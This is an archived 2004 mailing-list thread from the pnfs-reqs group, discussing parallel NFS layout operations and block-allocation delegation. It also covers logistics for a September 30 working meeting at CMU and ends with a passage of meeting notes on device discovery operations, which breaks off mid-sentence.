- Get Layout Information 9 >> 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 >> 7.3 LAYOUTRETURN - Release Layout Information 14 >> 8.1 CB_LAYOUTRECALL 14 >> >> Food for thought next Tuesday - see you then. >> If you have feedback before then, I'll have time Monday evening >> to go through this. >> -- >> Brent Welch >> Software Architect, Panasas Inc >> Delivering the premier storage system for scalable Linux clusters >> >> www.panasas.com >> welch@panasas.com >> >> >> >> >> Yahoo! Groups Sponsor >> ADVERTISEMENT >> click here >> [rand=631492116] >> >> > _______________________________________________________________________ > _ > ________ >> Yahoo! Groups Links >> * To visit your group on the web, go to: >> http://groups.yahoo.com/group/pnfs-reqs/ >> >> * To unsubscribe from this group, send an email to: >> pnfs-reqs-unsubscribe@yahoogroups.com >> >> * Your use of Yahoo! Groups is subject to the Yahoo! Terms of > Service. >> >> > > > > > Yahoo! Groups Links > > > > > > > > > Yahoo! Groups Sponsor > > ADVERTISEMENT > > M=298184.5285298.6392945.3001176/ > D=groups/S=1705701014:HM/EXP=1092071235/A=2164331/R=0/SIG=11eaelai9/ > *htt > p://www.netflix.com/Default?mqso=60183351> click here > > D=group > s/S=:HM/A=2164331/rand=468494106> > > _____ > > Yahoo! Groups Links > > > * To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > > > > * To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of > Service . > > >From julian_satran@il.ibm.com Fri Aug 13 00:32:24 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 93450 invoked from network); 13 Aug 2004 07:32:23 -0000 Received: from unknown (66.218.66.218) by m24.grp.scd.yahoo.com with QMQP; 13 Aug 2004 07:32:23 -0000 Received: from unknown (HELO mtagate2.de.ibm.com) (195.212.29.151) by mta3.grp.scd.yahoo.com with SMTP; 13 Aug 2004 07:32:21 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i7D7WGgB140850 for ; Fri, 13 Aug 2004 07:32:16 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i7D7WG2x202734 for ; Fri, 13 Aug 2004 09:32:16 +0200 In-Reply-To: <4AB38983-EC76-11D8-BADC-000A95A94F04@panasas.com> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.2 June 01, 2004 Message-ID: Date: Fri, 13 Aug 2004 10:32:10 +0300 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 13/08/2004 10:32:15, Serialize complete at 13/08/2004 10:32:15 Content-Type: multipart/alternative; boundary=""=_alternative 0026A639C2256EEF_="" X-eGroups-Remote-IP: 195.212.29.151 From: Julian Satran Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT I will try - Julo Garth Gibson 12/08/04 18:43 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject Re: [pnfs-reqs] pnfs ops, draft of June 8 Delegating an allocation map to the client, allowing the client to allocate from the map for multiple files open for write, seems to me to be a large chunk of functionality and recovery specification. I hope I'm wrong on this, because we are trying for a small amount of NFSv4 semantics that will nevertheless lead to a lot of functionality when applied to block, object and file storage devices. Can you suggest a thin but safe specification of this multi-file delegated block allocation, Julian? garth On Aug 8, 2004, at 1:05 PM, Julian Satran wrote: > > Following this thread and the F2F discussion it became clear that for > the block mode the model you are considering for allocation is having > the matadata do specific allocation per file ""withing the confines"" of > a > layout. Although this model keeps the optimisation of the layout with > the metadata server it is hardly the only one possible and arguably > scalable (e.g., creating temporary and/or small files involves always > an > interaction with the MDS). An alternative mode that could be acceptable > and is used in the block mode is to make allocations ""global - per FS > and client"" and delegate the exact allocation to the client. This is a > scheme that is more scalable and avoids some critical privacy pittfals > (like keeping track which allocations are committed to avoid > applications getting to read ""old/different"" file data. > > To keep the delegation model almost unchanged this type of allocation > can be achieve by delegating an allocation map per device and have the > clients use it with only occasional releases. > > Regards, > Julo > > > > Dean Hildebrand > > > 03/08/04 11:12 > > > Please respond to > pnfs-reqs > > > To > pnfs-reqs@yahoogroups.com > > cc > > Subject > Re: [pnfs-reqs] pnfs ops, draft of June 8 > > > > > > > > Reading the document again, I see the following info under LAYOUTGET: >>> > IMPLEMENTATION > > Typically, LAYOUTGET will be called as part of a compound RPC after an > OPEN operation and results in the client having location information > for the file. The client specifies a storage type that limits what kind > of layout the server will return. This prevents servers from issuing > layouts that are unusable by the client. >>> > > A LAYOUTGET cannot be part of the same compound RPC as OPEN since it > requires an offset and length. We have to pay the extra round trip > price > unless a map for the entire file is requested (maybe on O_CREAT). > Dean > > > On Thu, 29 Jul 2004, Brent Welch wrote: > >> Here is an update to my ops draft based on the June 7 meeting. >> I apologize for not sending it out promptly, but here 'tis. >> I do not include the discussion of why things look as they do now, >> but you will notice a slimmer set of ops. Much slimmer. I could >> upload this to the yahoo groups web site, but most of you may find >> simple inline text easier to deal with :-) >> >> The ops boil down to: >> 7.1 LAYOUTGET - Get Layout Information 9 >> 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 >> 7.3 LAYOUTRETURN - Release Layout Information 14 >> 8.1 CB_LAYOUTRECALL 14 >> >> Food for thought next Tuesday - see you then. >> If you have feedback before then, I'll have time Monday evening >> to go through this. >> -- >> Brent Welch >> Software Architect, Panasas Inc >> Delivering the premier storage system for scalable Linux clusters >> >> www.panasas.com >> welch@panasas.com >> >> >> >> >> Yahoo! Groups Sponsor >> ADVERTISEMENT >> click here >> [rand=631492116] >> >> > _______________________________________________________________________ > _ > ________ >> Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From black_david@emc.com Mon Sep 13 14:31:59 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 90291 invoked from network); 13 Sep 2004 21:31:56 -0000 Received: from unknown (66.218.66.172) by m1.grp.scd.yahoo.com with QMQP; 13 Sep 2004 21:31:56 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta4.grp.scd.yahoo.com with SMTP; 13 Sep 2004 21:31:55 -0000 Received: from mxic2.corp.emc.com (mxic2.corp.emc.com [128.221.12.9]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-3.1.6) with ESMTP id i8DLVrQY007934 for ; Mon, 13 Sep 2004 17:31:53 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 13 Sep 2004 17:31:53 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Mon, 13 Sep 2004 17:31:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-PMX-Version: 4.6.1.107272, Antispam-Core: 4.6.1.106808, Antispam-Data: 2004.9.13.1 X-PerlMx-Spam: Gauge=, SPAM=0%, Report='EMC_FROM_0 -0, __TLG_EMC_ENVFROM_0 0, __IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0, __TO_MALFORMED_2 0, SUBJECT_MONTH 0, SUBJECT_MONTH_2 0, __MIME_VERSION 0, __ANY_IMS_MUA 0, EXCHANGE_SERVER 0, __HAS_X_MAILER 0, __IMS_MUA 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, __MIME_TEXT_ONLY 0, EMC_BODY_1 -5' X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: Pittsburgh meeting Sep. 30th X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT My notes say we scheduled a pNFS face-to-face in Pittsburgh for Sep. 30th. Is this still a go? Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From Thomas.Talpey@netapp.com Tue Sep 14 10:56:00 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 10318 invoked from network); 14 Sep 2004 17:55:59 -0000 Received: from unknown (66.218.66.216) by m13.grp.scd.yahoo.com with QMQP; 14 Sep 2004 17:55:59 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 14 Sep 2004 17:55:59 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i8EHt7FC001026 for ; Tue, 14 Sep 2004 10:55:07 -0700 (PDT) Received: from svlexc02.hq.netapp.com (svlexc02.corp.netapp.com [10.57.157.136]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i8EHt6t8019725 for ; Tue, 14 Sep 2004 10:55:06 -0700 (PDT) Received: from lavender.hq.netapp.com ([10.56.11.75]) by svlexc02.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 14 Sep 2004 10:55:06 -0700 Received: from exnane01.hq.netapp.com ([10.97.0.61]) by lavender.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 14 Sep 2004 10:55:06 -0700 Received: from tmt.netapp.com ([10.97.6.31]) by exnane01.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.0); Tue, 14 Sep 2004 13:55:04 -0400 Message-Id: <6.1.2.0.2.20040914135338.038523a0@exnane01.nane.netapp.com> X-Nil: Date: Tue, 14 Sep 2004 13:54:55 -0400 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-OriginalArrivalTime: 14 Sep 2004 17:55:05.0044 (UTC) FILETIME=[F71C5940:01C49A83] X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] Pittsburgh meeting Sep. 30th X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 05:31 PM 9/13/2004, black_david@emc.com wrote: > >My notes say we scheduled a pNFS face-to-face in >Pittsburgh for Sep. 30th. Is this still a go? I can't go, personally. Given that we've made the decision to move this into IETF, should we consider cancelling, and planning something in Washington DC at IETF-61? Tom. >From garth@panasas.com Tue Sep 14 11:09:32 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 84004 invoked from network); 14 Sep 2004 18:09:31 -0000 Received: from unknown (66.218.66.216) by m22.grp.scd.yahoo.com with QMQP; 14 Sep 2004 18:09:31 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 14 Sep 2004 18:09:31 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56Y166; Tue, 14 Sep 2004 14:09:19 -0400 In-Reply-To: <6.1.2.0.2.20040914135338.038523a0@exnane01.nane.netapp.com> References: <6.1.2.0.2.20040914135338.038523a0@exnane01.nane.netapp.com> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <2ECAEB36-0679-11D9-9498-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Cc: Garth Gibson Date: Tue, 14 Sep 2004 14:09:12 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.619) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Pittsburgh meeting Sep. 30th X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson This is still a go. CMU arrangements are made. I should send out a reminder later today. garth On Sep 14, 2004, at 1:54 PM, Talpey, Thomas wrote: > At 05:31 PM 9/13/2004, black_david@emc.com wrote: >> >> My notes say we scheduled a pNFS face-to-face in >> Pittsburgh for Sep. 30th. Is this still a go? > > I can't go, personally. Given that we've made the decision to > move this into IETF, should we consider cancelling, and planning > something in Washington DC at IETF-61? > > Tom. > > > > > > Yahoo! Groups Links > > > > >From garth@panasas.com Wed Sep 15 14:14:52 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 52594 invoked from network); 15 Sep 2004 21:14:49 -0000 Received: from unknown (66.218.66.172) by m16.grp.scd.yahoo.com with QMQP; 15 Sep 2004 21:14:49 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 15 Sep 2004 21:14:48 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56YHRH; Wed, 15 Sep 2004 17:14:46 -0400 Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: <4048ABC8-075C-11D9-9498-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Wed, 15 Sep 2004 14:14:38 -0700 X-Mailer: Apple Mail (2.619) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Sept 30 working meeting in Pittsburgh X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson CMU has people who know how to help organize things, so please look here http://www.pdl.cmu.edu/pNFS/ for the details. This will be the last non-IETF meeting, and we are requested to put materials for this meeting into the IETF as internet drafts so they are visible to all. Future pNFS conversations, after Sept 30, should happen on the IETF mailing list and face-to-face meetings should be requests for items on the NFSv4 meeting agendas. garth >From andros@citi.umich.edu Tue Sep 21 13:37:04 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 25309 invoked from network); 21 Sep 2004 20:37:02 -0000 Received: from unknown (66.218.66.167) by m7.grp.scd.yahoo.com with QMQP; 21 Sep 2004 20:37:02 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta6.grp.scd.yahoo.com with SMTP; 21 Sep 2004 20:37:02 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 3C1E21BB05; Tue, 21 Sep 2004 16:37:02 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Sep 2004 16:37:02 -0400 Message-Id: <20040921203702.3C1E21BB05@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: September 30th meeting at CMU X-Yahoo-Group-Post: member; u=169434965 dean hildebrand and i are attending the September 30th at CMU - just wondering who else will be there! -->Andy >From fan@rainfinity.com Tue Sep 21 14:35:28 2004 Return-Path: X-Sender: fan@rainfinity.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 5929 invoked from network); 21 Sep 2004 21:35:26 -0000 Received: from unknown (66.218.66.218) by m14.grp.scd.yahoo.com with QMQP; 21 Sep 2004 21:35:26 -0000 Received: from unknown (HELO mail1.rainfinity.com) (128.242.125.75) by mta3.grp.scd.yahoo.com with SMTP; 21 Sep 2004 21:35:26 -0000 Received: from localhost (localhost.rainfinity.com [127.0.0.1]) by mail1.rainfinity.com (Postfix) with ESMTP id 7687C104161; Tue, 21 Sep 2004 14:34:40 -0700 (PDT) Received: from mail1.rainfinity.com ([127.0.0.1]) by localhost (mail1.rainfinity.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 24363-06; Tue, 21 Sep 2004 14:34:40 -0700 (PDT) Received: from [192.168.0.47] (hq.rainfinity.com [128.242.125.65]) by mail1.rainfinity.com (Postfix) with ESMTP id 0232D104152; Tue, 21 Sep 2004 14:34:40 -0700 (PDT) Message-ID: <41509E7A.5030304@rainfinity.com> Date: Tue, 21 Sep 2004 14:34:50 -0700 User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu References: <20040921203702.3C1E21BB05@citi.umich.edu> In-Reply-To: <20040921203702.3C1E21BB05@citi.umich.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at rainfinity.com X-eGroups-Remote-IP: 128.242.125.75 From: Chenggong Charles Fan Subject: Re: [pnfs-reqs] September 30th meeting at CMU X-Yahoo-Group-Post: member; u=37364696 X-Yahoo-Profile: fanrainfinity I will be there. Charles William A.(Andy) Adamson wrote: >dean hildebrand and i are attending the September 30th at CMU - just wondering >who else will be there! > >-->Andy > > > > > > >Yahoo! Groups Links > > > > > > >From craigev@us.ibm.com Fri Sep 24 09:39:25 2004 Return-Path: X-Sender: craigev@us.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 15937 invoked from network); 24 Sep 2004 16:39:24 -0000 Received: from unknown (66.218.66.167) by m13.grp.scd.yahoo.com with QMQP; 24 Sep 2004 16:39:24 -0000 Received: from unknown (HELO e32.co.us.ibm.com) (32.97.110.130) by mta6.grp.scd.yahoo.com with SMTP; 24 Sep 2004 16:39:24 -0000 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.9) with ESMTP id i8OGdNbZ421586 for ; Fri, 24 Sep 2004 12:39:23 -0400 Received: from d03nm130.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i8OGdMMI070992 for ; Fri, 24 Sep 2004 10:39:22 -0600 In-Reply-To: <20040921203702.3C1E21BB05@citi.umich.edu> To: pnfs-reqs@yahoogroups.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: Date: Fri, 24 Sep 2004 12:39:19 -0400 X-MIMETrack: Serialize by Router on D03NM130/03/M/IBM(Release 6.51HF338 | June 21, 2004) at 09/24/2004 10:39:21 MIME-Version: 1.0 Content-type: multipart/related; Boundary=""0__=07BBE58ADFC8D92B8f9e8a93df938690918c07BBE58ADFC8D92B"" X-eGroups-Remote-IP: 32.97.110.130 From: Craig Everhart Subject: Re: [pnfs-reqs] September 30th meeting at CMU X-Yahoo-Group-Post: member; u=67958684 I'll be there! I'll be getting there late, like maybe 10-10:30am, but I'll be there. Craig Craig Everhart +1 919 543 2169 (tie 441 2169) Inactive hide details for ""William A.(Andy) Adamson"" ""William A.(Andy) Adamson"" ""William A.(Andy) Adamson"" 09/21/2004 04:37 PM Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc andros@citi.umich.edu Subject [pnfs-reqs] September 30th meeting at CMU dean hildebrand and i are attending the September 30th at CMU - just wondering who else will be there! -->Andy ------------------------ Yahoo! Groups Sponsor --------------------~--> Make a clean sweep of pop-up ads. Yahoo! Companion Toolbar. Now with Pop-Up Blocker. Get it for free! http://us.click.yahoo.com/L5YrjA/eSIIAA/yQLSAA/W6uqlB/TM --------------------------------------------------------------------~-> Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ Attachment (not stored) pic00864.gif Type: image/gif >From garth@panasas.com Mon Sep 27 14:27:55 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 84254 invoked from network); 27 Sep 2004 21:27:53 -0000 Received: from unknown (66.218.66.166) by m3.grp.scd.yahoo.com with QMQP; 27 Sep 2004 21:27:53 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 27 Sep 2004 21:27:53 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56Z114; Mon, 27 Sep 2004 17:27:51 -0400 In-Reply-To: <4048ABC8-075C-11D9-9498-000A95A94F04@panasas.com> References: <4048ABC8-075C-11D9-9498-000A95A94F04@panasas.com> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <1578551C-10CC-11D9-85F1-000393754F12@panasas.com> Content-Transfer-Encoding: 7bit Cc: Greg Ganger , Karen Lindenfelser , Garth Gibson Date: Mon, 27 Sep 2004 17:27:50 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.619) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Sept 30 working meeting in Pittsburgh X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Reminder: final adhoc pNFS meeting is this Thurs at CMU. After this, all meetings will be on the ietf nfsv4 mailing lists and meeting schedules. See web link below for maps, transportation facilities -- since you will be walking onto a campus, I highly recommend printing these maps and showing them to the students as you walk around saying ""how do I get to 8220 Wean Hall"". Continental breakfast will be in 8220 Wean at 8:30 am. At lunch Dean Hildebrand of U. Mich will be giving a pNFS related talk in CMU's Systems Design and Implementation seminar and we are all invited. Our schedule ends at 4pm, allowing for people to catch a 6pm flight to the west coast. For those that can stay a little longer, CMU's storage group, the Parallel Data Lab (www.pdl.cmu.edu), will be offering a poster session from 4-6pm. Thanks to Greg Ganger and the PDL team for doing another poster session after three solid days of review 9/27-9/29. Attendees I know about include: David Black (EMC), Andy Adamson (U.Mich), Dean Hildebrand (U.Mich), Craig Everhardt (IBM), David Ford (NetApp), Yuichi Yagawa (Hitachi), Charles Fan (Rainfinity), John Howard (Sun), Tushar Tambay (Veritas), Garth Gibson (Panasas/CMU), Brent Welch (Panasas). See you there! garth On Sep 15, 2004, at 5:14 PM, Garth Gibson wrote: > CMU has people who know how to help organize things, so please look > here http://www.pdl.cmu.edu/pNFS/ for the details. > > This will be the last non-IETF meeting, and we are requested to put > materials for this meeting into the IETF as internet drafts so they are > visible to all. Future pNFS conversations, after Sept 30, should > happen on the IETF mailing list and face-to-face meetings should be > requests for items on the NFSv4 meeting agendas. > > garth >From garth@panasas.com Wed Sep 29 13:08:41 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 60498 invoked from network); 29 Sep 2004 20:08:36 -0000 Received: from unknown (66.218.66.172) by m13.grp.scd.yahoo.com with QMQP; 29 Sep 2004 20:08:36 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 29 Sep 2004 20:08:28 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56ZJWN; Wed, 29 Sep 2004 16:08:22 -0400 In-Reply-To: <1578551C-10CC-11D9-85F1-000393754F12@panasas.com> References: <4048ABC8-075C-11D9-9498-000A95A94F04@panasas.com> <1578551C-10CC-11D9-85F1-000393754F12@panasas.com> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: multipart/mixed; boundary=Apple-Mail-38-69699667 Message-Id: <4EF61B00-1253-11D9-85F1-000393754F12@panasas.com> Cc: Karen Lindenfelser Date: Wed, 29 Sep 2004 16:08:19 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.619) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Sept 30 working meeting in Pittsburgh X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Attendees, If you need parking at the campus and don't know the area the safest bet is to park in the Carnegie Museum parking lot. It'll cost $15 for the day, but it is easy and reliable. I've attached a few more maps: - CMU-map -- the Carnegie Museum parking lot is at Forbes and South Craig, about where the North-South-cross is on this map - CarnegieMuseum map - shows how to get to the Carnegie Museum parking -- walk east on Forbes to CMU - wean-map -- coming east on Forbes from the Carnegie Museum you will be at the bottom of this map, walk around Hamburg Hall, through Newell-Simon Hall (go up the stairs one floor) to Wean Hall (you enter on the 4th floor and the meeting is on the 8th) There is a Starbucks at South Craig and Forbes, with a better coffee shop across South Craig, and even better coffee in the booth in the lobby of 5th floor of Wean, and we will have less good coffee in 8220 Wean Hall. See you tomorrow, garth On Sep 27, 2004, at 5:27 PM, Garth Gibson wrote: > Reminder: final adhoc pNFS meeting is this Thurs at CMU. After this, > all meetings will be on the ietf nfsv4 mailing lists and meeting > schedules. > > See web link below for maps, transportation facilities -- since you > will be walking onto a campus, I highly recommend printing these maps > and showing them to the students as you walk around saying ""how do I > get to 8220 Wean Hall"". > > Continental breakfast will be in 8220 Wean at 8:30 am. > > At lunch Dean Hildebrand of U. Mich will be giving a pNFS related talk > in CMU's Systems Design and Implementation seminar and we are all > invited. > > Our schedule ends at 4pm, allowing for people to catch a 6pm flight to > the west coast. For those that can stay a little longer, CMU's > storage group, the Parallel Data Lab (www.pdl.cmu.edu), will be > offering a poster session from 4-6pm. Thanks to Greg Ganger and the > PDL team for doing another poster session after three solid days of > review 9/27-9/29. > > Attendees I know about include: David Black (EMC), Andy Adamson > (U.Mich), Dean Hildebrand (U.Mich), Craig Everhardt (IBM), David Ford > (NetApp), Yuichi Yagawa (Hitachi), Charles Fan (Rainfinity), John > Howard (Sun), Tushar Tambay (Veritas), Garth Gibson (Panasas/CMU), > Brent Welch (Panasas). > > See you there! > > garth > > > On Sep 15, 2004, at 5:14 PM, Garth Gibson wrote: >> CMU has people who know how to help organize things, so please look >> here http://www.pdl.cmu.edu/pNFS/ for the details. >> >> This will be the last non-IETF meeting, and we are requested to put >> materials for this meeting into the IETF as internet drafts so they >> are >> visible to all. Future pNFS conversations, after Sept 30, should >> happen on the IETF mailing list and face-to-face meetings should be >> requests for items on the NFSv4 meeting agendas. >> >> garth Attachment (not stored) CMU-map.pdf Type: application/pdf Attachment (not stored) CarnegieMuseum-roadmap.gif Type: image/gif Attachment (not stored) wean-map.pdf Type: application/pdf >From bwelch@panasas.com Thu Sep 30 20:11:27 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 39833 invoked from network); 1 Oct 2004 03:11:25 -0000 Received: from unknown (66.218.66.172) by m17.grp.scd.yahoo.com with QMQP; 1 Oct 2004 03:11:25 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.206) by mta4.grp.scd.yahoo.com with SMTP; 1 Oct 2004 03:11:25 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i91387O18638; Thu, 30 Sep 2004 20:08:07 -0700 Message-Id: <200410010308.i91387O18638@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs To: pnfs-reqs@yahoogroups.com Cc: welch@panasas.com X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=>r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o Date: Thu, 30 Sep 2004 20:08:06 -0700 X-eGroups-Remote-IP: 63.80.58.206 X-eGroups-From: Brent Welch From: Brent Welch Subject: Notes from Sept 30 X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 (This will be one of the last postings before we complete the move to the nfsv4 mailing list. Just wanted to capture these notes.) These were the agenda items for today's pnfs ops discussion. GETDEVINFO / GETDEVLIST Group Open Client Failures Attribute Handling Layout life cycle We started with a general review for newcomers. This led to a bit of discussion about how the client is structured. We identified three layers on the client side: the high level ""generic"" layers that deal with vnode ops and other interfaces to the host OS. The middle layer that understands layout information. Its job is to convert I/O requests into operations on the underlying devices based on the layout information. The lowest level is the device driver layer that just does raw I/O. We coined the term ""layout class"" to describe families of layouts for file, object and block access. Within each layout class there are different possible layouts that describe how the data is organized onto one or more storage devices. I'd like to propose the term ""layout driver"" as the code module that understands a class of layouts. (At the meeting we used the term ""storage access module"") With this view, it is the middle layer (hmm, the ""pnfs layer?"") that understands layouts and issues I/O to drivers. And, it is this layer that brings us to the GETDEVICEINFO and GETDEVICELIST ops. We had this in the early drafts, and then tried to drop it because it was particular to this layout-class-specific layer of code. However, essentialy all layouts have the problem of needing a fairly compact way to refer to devices from layouts, and therefore they need a way to map from these short device names to more complete information required to find the device. This topic was discussed at the last meeting, where we re-introduced GETDEVICEINFO. At this meeting, David Black gave us a tutorial on the world of SCSI resource discovery. The net result is that the SCSI layer queries all available devices and reads volume label information off the attached devices as an absolute way to determine what devices are accessible and which ports happen to be useful by the current host for that device. Different hosts may use different physical addresses for the same device, and the same device may appear at a different physical address over time. These are the consequences of multi-path networks and failover. That's just how it is. In this world is it somewhat natural for the server to compare notes with its clients about the devices that are used by the filesystem. This motivates the GETDEVICELIST operation that the client would use to read out the entire device table for the filesystem. Input parameters are clientID and fsid, and the result is an array of mappings from short device names to a storage type ""information"" specific to that type. We talked about the sequence of operations that the client takes when it first encounters a filesystem (e.g., ""mount"" time) 1) Determine if the filesystem can do pNFS 2) Determine what kind of storage devices and storage protocols are involved 3) Determine if the storage devices are in fact 